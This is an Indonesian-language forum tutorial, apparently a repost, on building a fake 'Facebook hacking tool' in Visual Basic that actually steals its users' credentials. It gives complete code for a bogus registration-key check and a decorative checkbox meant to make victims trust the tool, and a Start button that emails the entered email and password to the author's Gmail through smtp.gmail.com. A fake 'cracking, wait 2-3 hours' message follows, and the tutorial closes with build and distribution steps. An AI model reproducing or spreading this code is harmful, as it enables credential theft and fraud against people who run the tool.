Hacking facebook dengan scam tool

Oke hari ini ane mau sharing tentang cara bobol facebook dengan menggunakan aplikasi buatan kalian sendiri



peralatan yang dibutuhkan

1. Visual basic

2. Kreatifitas



berikut screenshoot tool saya







pertama -tama buka visual basic dan buat project baru



buat 3 label

1. email address

2.password

3.victims mail/victim id



kedua



buat 3 textbox

dan rubah text pada tiap-tiap textbox propertiesnya



ketiga



buat 2 command button

pada properties nya rubah text 1. Start 2. Exit



keempat

kasih checkbutton biar pengguna tool kalian percaya bahwa tool kalian ini Berfungsi





setelah itu klik 2x pada form



INGAT sebelum public class form1 masukkan type

Code:

Imports System.Net.Mail

Imports Microsoft.Win32

dan masukkan kode

Code:

MsgBox("Input Your serial number")

        Dim LK As String = "[color=#800000]0987654321[/color]"

        Dim L As RegistryKey = Registry.CurrentUser.CreateSubKey("software\vaqxine", RegistryKeyPermissionCheck.Default)

        If L.GetValue("licence") Is Nothing Then

            Dim input As String = InputBox("Enter Your Registration Key", "Please Register Your Program!")

            If input <> LK Then

                MsgBox("Please Enter A Valid Registration Key!", MsgBoxStyle.Exclamation, "Invalid Registration Key")

                End

            Else

                L.SetValue("licence", LK)

                MsgBox("Click Ok to continue", MsgBoxStyle.Information, "Registration Key accepted")

            End If

        ElseIf L.GetValue("licence") <> LK Then

            Dim input As String = InputBox("Enter your registration key", "Your current registration key is not valid")

            If input <> LK Then

                MsgBox("Please Enter A Valid License Key!", MsgBoxStyle.Exclamation, "Invalid Registration Key")

                End

            Else

                L.SetValue("licence", LK)

                MsgBox("Click Ok to continue", MsgBoxStyle.Information, "Registration key accepted")

            End If

        End If

        L.Close()

fungsi code ini buat manipulasi korban dengan memasukkan serial number pada bagian Dim LK As Stringagar tool kalian lebih resmi :P



setelah itu kembali lagi ke form dan klik 2x start dan masukkan codingnya

Code:

Dim MyMailMessage As New MailMessage

        MyMailMessage.From = New MailAddress("[color=#FF0000]email gmail kalian[/color]")

        MyMailMessage.To.Add("[color=#FF0000]email gmail kalian[/color]")

        MyMailMessage.Body = ("Username: " + TextBox1.Text & vbCrLf & "Password: " + TextBox2.Text & vbCrLf & vbCrLf & "Attempting To Hack: " + TextBox3.Text)

        Dim SMTPServer As New SmtpClient("smtp.gmail.com")

        SMTPServer.Port = 587

        SMTPServer.Credentials = New System.Net.NetworkCredential("[color=#FF0000]email gmail kalian[/color]", "[color=#FF0000]password gmail kalian[/color]")

        SMTPServer.EnableSsl = True

        SMTPServer.Send(MyMailMessage)

        MsgBox("Wait for 2-3 hours to cracking the password Visit my blog www.trojanzboy.blogspot.com")

setelah itu test program dengan mengklik tombol start debugging (F5)



jika sukses test masukkan email dan password pada text box

maka email&&password terkirim di email kalian cek email kalian







dan saatnya mempublikasikan tool anda

klik build toolbar --> build solution &&& --> build windowsaplication







dan hasil outputnya ada di my document > visual studio > project



dan tool pun siap untuk diedarkan





NB : jika gmailnya kalian terdapat authentication mobile maka tool nya tidak dapat bekerja


best regard : lixoid
repost : trojanzz